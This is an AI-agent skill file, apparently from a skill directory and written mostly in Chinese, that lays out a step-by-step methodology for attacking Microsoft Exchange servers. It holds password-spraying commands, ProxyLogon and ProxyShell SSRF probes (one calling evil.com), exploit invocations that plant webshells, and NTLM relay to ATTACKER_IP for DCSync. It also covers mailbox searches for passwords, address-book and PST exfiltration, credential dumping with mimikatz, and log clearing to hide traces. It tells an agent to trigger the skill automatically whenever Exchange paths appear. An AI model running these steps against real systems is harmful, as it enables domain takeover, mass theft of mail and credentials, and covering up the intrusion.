exchange-attack

$npx mdskill add wgpsec/AboutSecurity/exchange-attack

Exploit Exchange vulnerabilities to gain domain control.

  • Extract global address lists and escalate to SYSTEM privileges.
  • Depends on OWA, ECP, autodiscover, and MAPI endpoints.
  • Executes CVE-2021-26855 through CVE-2022-41040 exploits.
  • Delivers extracted credentials and GAL data to the agent.

SKILL.md

.github/skills/exchange-attackView on GitHub ↗
---
name: exchange-attack
description: "Microsoft Exchange 邮件服务器攻击方法论。当发现 OWA(Outlook Web App) 登录页面、Exchange 管理面板、443 端口运行 Exchange、或内网中发现 Exchange 服务器时使用。当端口扫描发现 25/443/587/993/995 且指纹为 Exchange 时使用。覆盖 OWA 密码喷洒、ProxyLogon(CVE-2021-26855)、ProxyShell(CVE-2021-34473)、ProxyNotShell(CVE-2022-41040)、邮箱搜索导出、GAL 全局地址簿提取、NTLM 中继到 Exchange。Exchange 是域渗透中最高价值的目标之一——可获取域管邮箱、提取全员通讯录、获取 SYSTEM 权限。发现任何 /owa /ecp /autodiscover /mapi 路径时都应使用此 skill"
metadata:
  tags: "exchange,owa,ecp,proxylogon,proxyshell,proxynotshell,outlook,邮件,autodiscover,NTLM,域渗透,CVE-2021-26855"
  category: "lateral"
---

# Exchange 邮件服务器攻击方法论

Exchange 在域环境中地位极高——通常拥有 Domain Admin 级权限、存储全公司邮件、保存全员通讯录。攻下 Exchange 几乎等于拿下整个域。

## Phase 0: 发现与指纹

### 0.1 Exchange 路径探测

```bash
# 常见 Exchange 路径
curl -sk https://TARGET/owa           # Outlook Web App
curl -sk https://TARGET/ecp           # Exchange Control Panel(管理)
curl -sk https://TARGET/autodiscover/autodiscover.xml
curl -sk https://TARGET/mapi/nspi     # MAPI/HTTP
curl -sk https://TARGET/rpc           # RPC over HTTP
curl -sk https://TARGET/oab           # Offline Address Book
curl -sk https://TARGET/ews           # Exchange Web Services

# 版本识别(从 OWA 页面或 HTTP 头提取)
curl -sk https://TARGET/owa -D- | grep -i "x-owa-version\|x-feserver"
```

### 0.2 版本与补丁判断

| Build 版本 | Exchange 版本 | 关键 CVE |
|------------|---------------|----------|
| 15.0.x | Exchange 2013 | ProxyLogon, ProxyShell |
| 15.1.x | Exchange 2016 | ProxyLogon, ProxyShell, ProxyNotShell |
| 15.2.x | Exchange 2019 | ProxyLogon, ProxyShell, ProxyNotShell |

## Phase 1: OWA 密码喷洒

OWA 是域凭据认证,成功登录 = 获得域用户凭据。

```bash
# 使用 spray 工具
spray -owa2 https://TARGET/owa -u users.txt -p 'P@ssword123'

# 使用 MailSniper
Invoke-PasswordSprayOWA -ExchHostname TARGET -UserList users.txt -Password 'Summer2024!'

# 使用 ruler
ruler -k --domain TARGET --username user@domain.com --password 'Pass123' brute

# 使用 nxc (NetExec)
nxc owa TARGET -u users.txt -p passwords.txt --module owa

# 用户名来源:
# 1. GAL 提取(如果有一个低权限账户)
# 2. LinkedIn OSINT → 推测邮箱格式
# 3. /autodiscover + NTLM → 域名获取
```

### NTLM 信息泄露

```bash
# 通过 NTLM 认证握手提取域信息
curl -sk https://TARGET/autodiscover/autodiscover.xml -H "Authorization: NTLM TlRMTVNTUAABAAAAB4IIogAAAAAAAAAAAAAAAAAAAAAGAbEdAAAADw==" -D-
# 从 NTLM Challenge 响应中解码出:域名、服务器名、DNS 域名
# 使用 ntlm_challenger.py 或手动解码 Base64

# 或用 nmap
nmap -p 443 --script http-ntlm-info --script-args http-ntlm-info.root=/owa TARGET
```

## Phase 2: ProxyLogon (CVE-2021-26855 + CVE-2021-27065)

### 2.1 漏洞检测

```bash
# SSRF 检测
curl -sk "https://TARGET/owa/auth/x.js" \
  -H "Cookie: X-AnonResource=true; X-AnonResource-Backend=TARGET/ecp/default.flt?~3" \
  -D-
# 200 状态码 + Exchange 管理页面内容 → 存在漏洞

# 或用 nmap 脚本
nmap -p 443 --script http-vuln-cve2021-26855 TARGET
```

### 2.2 利用

```bash
# 使用 proxylogon exploit
python3 proxylogon.py -t https://TARGET -e admin@domain.com

# 步骤:
# 1. SSRF 获取后端管理员 SID
# 2. 用 SID 伪造 ECP Session
# 3. 通过 ECP 写入 webshell(OAB VirtualDirectory)
# 4. 访问 webshell 获取 SYSTEM 权限

# 清理痕迹
# 删除写入的 aspx webshell
# 清理 ECP Activity log
```

## Phase 3: ProxyShell (CVE-2021-34473 + CVE-2021-34523 + CVE-2021-31207)

```bash
# 检测 — 访问 autodiscover
curl -sk "https://TARGET/autodiscover/autodiscover.json?@evil.com/owa/?&Email=autodiscover/autodiscover.json%3F@evil.com"
# 200 且返回 JSON → 存在 SSRF

# 利用 — 通常使用现成 exploit
python3 proxyshell_rce.py -u https://TARGET -e admin@domain.com

# 步骤:
# 1. /autodiscover SSRF → 获取 LegacyDN + SID
# 2. 用 SID 获取 EWS 访问权限(降权到 SYSTEM)
# 3. 通过 PowerShell Remoting 写 webshell
```

## Phase 4: 邮箱搜索与数据提取

登录 OWA 或拿到 EWS 权限后:

### 4.1 搜索敏感邮件

```powershell
# 使用 MailSniper 搜索关键词
Invoke-SelfSearch -Mailbox user@domain.com -ExchHostname TARGET \
  -Terms "密码","password","VPN","key","secret","credentials"

# 使用 EWS API 搜索
# 搜索主题含关键词的邮件
```

### 4.2 GAL 全局地址簿提取

```bash
# 获取所有域用户邮箱(用于后续密码喷洒/钓鱼)
# MailSniper
Get-GlobalAddressList -ExchHostname TARGET -UserName user@domain.com -Password 'Pass123'

# 通过 OAB(Offline Address Book)
curl -sk https://TARGET/oab/ --ntlm -u 'domain\user:Pass123'

# 导出用户列表用于密码喷洒
```

### 4.3 邮件导出

```powershell
# 导出指定用户邮箱(需要管理员权限)
New-MailboxExportRequest -Mailbox admin@domain.com -FilePath \\exchange\c$\temp\admin.pst
# 或通过 EWS 逐封下载
```

## Phase 5: Exchange 到域控

### 5.1 Exchange 权限提升

Exchange 服务器默认是 `Exchange Windows Permissions` 组成员,该组对域有 WriteDACL 权限:

```bash
# 使用 privexchange(CVE-2019-0686/0724 类似思路)
# Exchange → 强制认证到攻击者 → NTLM 中继到 LDAP → 给自己加 DCSync 权限
python3 privexchange.py -ah ATTACKER_IP TARGET -u user -p 'Pass123' -d domain.local

# 结合 ntlmrelayx
ntlmrelayx.py -t ldap://DC_IP --escalate-user compromised_user
```

### 5.2 Exchange 服务器本地提权

```bash
# Exchange 服务器通常以 SYSTEM 运行
# 通过 webshell → SYSTEM 权限 → 导出内存/凭据
# 使用 mimikatz 或 SafetyKatz 提取凭据
# 可能直接获取域管 NTLM Hash
```

## 决策树

```
发现 Exchange (OWA/ECP)
├── 版本识别 → 检查 ProxyLogon/ProxyShell/ProxyNotShell
│   ├── 存在漏洞 → RCE → SYSTEM → 域控
│   └── 已打补丁 → 继续
├── NTLM 信息泄露 → 获取域名
├── OWA 密码喷洒 → 获取域凭据
│   ├── 成功 → 登录 OWA → 搜索敏感邮件
│   ├── 成功 → GAL 提取 → 更多用户名 → 更多喷洒
│   └── 失败 → 尝试 /autodiscover NTLM 喷洒
├── 有凭据后 → EWS/PowerShell 远程管理
└── 高权限 → privexchange → DCSync
```

More from wgpsec/AboutSecurity

SkillDescription
401-403-bypass401/403 访问拒绝绕过方法论。当遇到管理后台、API 端点返回 401/403 Forbidden 时使用。覆盖路径操纵、HTTP 方法篡改、Header 注入、协议降级、组合攻击
ad-acl-abuseActive Directory ACL 滥用攻击方法论。当 BloodHound 发现 GenericAll/WriteDACL/WriteOwner/GenericWrite/ForceChangePassword 等危险 ACE 时使用。覆盖 ACE 枚举、权限滥用链、Shadow Credentials、RBCD 攻击
ad-delegation-attackKerberos 委派攻击(非约束/约束/RBCD)。当 BloodHound 发现委派配置、或已获取有 SPN 的服务账号/机器账号控制权时使用。通过 S4U 协议滥用可实现跨服务模拟任意用户,常用于域内权限提升和横向移动。
ad-domain-attackActive Directory 域环境攻击全链路。当目标主机在域环境中(systeminfo 显示 Domain 非 WORKGROUP)、发现 88/389/636 端口、或获取到域用户凭据时使用。覆盖域信息收集、用户枚举、Kerberoasting、AS-REP Roasting、委派攻击、ACL 滥用、DCSync、Golden/Silver Ticket
ad-persistenceAD 域环境持久化技术。当已获取域管/本地管理员权限、需要建立持久访问以确保重启或密码更改后仍能回到目标环境时使用。覆盖主机级持久化(计划任务/注册表Run/COM劫持/WMI事件订阅/Windows服务/启动文件夹)、域级持久化(Golden Ticket/Silver Ticket/Skeleton Key/DSRM/AdminSDHolder)、DCShadow/GoldenGMSA高级技术、清理命令与检测规避
ad-trust-attack域信任关系攻击。当目标存在多域/多林环境时使用。包含父子域提权(Golden Ticket + ExtraSid)、跨林攻击(SID History/MSSQL Trust Links)、单向信任利用。已获取子域 Domain Admin 或发现信任关系时优先加载。
adcs-certipy-attackActive Directory Certificate Services (ADCS) 证书攻击。当发现域内有 CA 服务器、ADCS Web Enrollment、证书模板配置错误时使用。覆盖 ESC1-ESC11 所有证书滥用路径、Certipy 工具链、证书伪造、NTLM 中继到 ADCS。发现 ADCS/CA/证书/certsrv 相关内容时一定要使用此技能
adinfo-enum使用 Adinfo 进行 Active Directory 信息收集。当获得域用户凭据后需要快速收集域环境信息时使用。Adinfo 是一个快速 AD 信息收集工具,一条命令输出域控列表、域管用户、信任关系、GPO、SPN、委派配置等关键信息——比手动 LDAP 查询快得多。发现域环境后第一步信息收集使用此技能
agent-security|
ai-data-security|